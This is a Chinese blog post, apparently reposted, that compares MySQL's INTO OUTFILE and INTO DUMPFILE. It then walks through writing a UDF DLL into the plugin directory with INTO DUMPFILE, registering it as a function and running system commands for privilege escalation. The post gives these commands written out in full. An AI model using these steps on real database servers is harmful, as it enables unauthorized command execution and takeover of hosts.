zoukankan      html  css  js  c++  java
  • mysql dumpfile与outfile函数的区别

    一直以为两个函数作用是相同的
     
    经过简单测试发现还是有些区别的
     
    如下表admin
     
    mysql> select * from admin;
     
    +-----+-----------+---------+
     
    | uid | name      | pass    |
     
    +----+------------+---------+
     
    |  1 | admin      | baidusb |  
     
    |  2 | root          | hacksb  |
    |  3 | manage    | nimei    |
     
    |  4 | boss         | helensb |
     
    |  5 | guanli       | admin   |
     
    |  6 | superuser  | G0Ood   |
     
    +----+------------+---------+
     
    mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
     
    Query OK,1 row affected (0.00 sec)
     
    我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.
    这个很适合导库
     
     
    而into dump是不行的 它只能导出 一行数据!
     
     
    若我们想把一个 可执行2进制 文件用into outfile函数导出
    事实上 导出后 就会被破坏
     
    因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
    这样的话这个2进制可执行 文件 就会被破坏
     
    这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
    into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
     
     
    如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过
    into dump 函数导入udf.dll进行提权
     
    mysql> show variable like '%plugin%';
     
    +----------------+------------------------------------------+
    |Variable_name   | Value                                    |
    +----------------+------------------------------------------+
    | plugin_dir     |c:mysqlmysql server 5.1lib/plugin      |
    +----------------+------------------------------------------+
     
    mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
    mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略
    mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
    mysql> select MyCmd('whoam');
     
    一点小知识点:
     
    如何获取该udf.dll文件的16进制值(hex)?
    我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
     
    mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
     
     
    如何获取该udf插件的内置 函数?
     
    通过C32 等16进制 编辑器 或直接通过记事本 打开 看关键字 即可。

  • 相关阅读:
    mysql GROUP_CONCAT 查询某个字段(查询结果默认逗号拼接)
    mysql中find_in_set的使用
    Libev源码分析07:Linux下的eventfd简介
    Libev源码分析06:异步信号同步化--sigwait、sigwaitinfo、sigtimedwait和signalfd
    Nova中的Hook机制
    Python深入:stevedore简介
    Libev源码分析05:Libev中的绝对时间定时器
    Python深入:setuptools简介
    Libev源码分析04:Libev中的相对时间定时器
    Libev源码分析02:Libev中的IO监视器
  • 原文地址:https://www.cnblogs.com/milantgh/p/5444398.html
Copyright © 2011-2022 走看看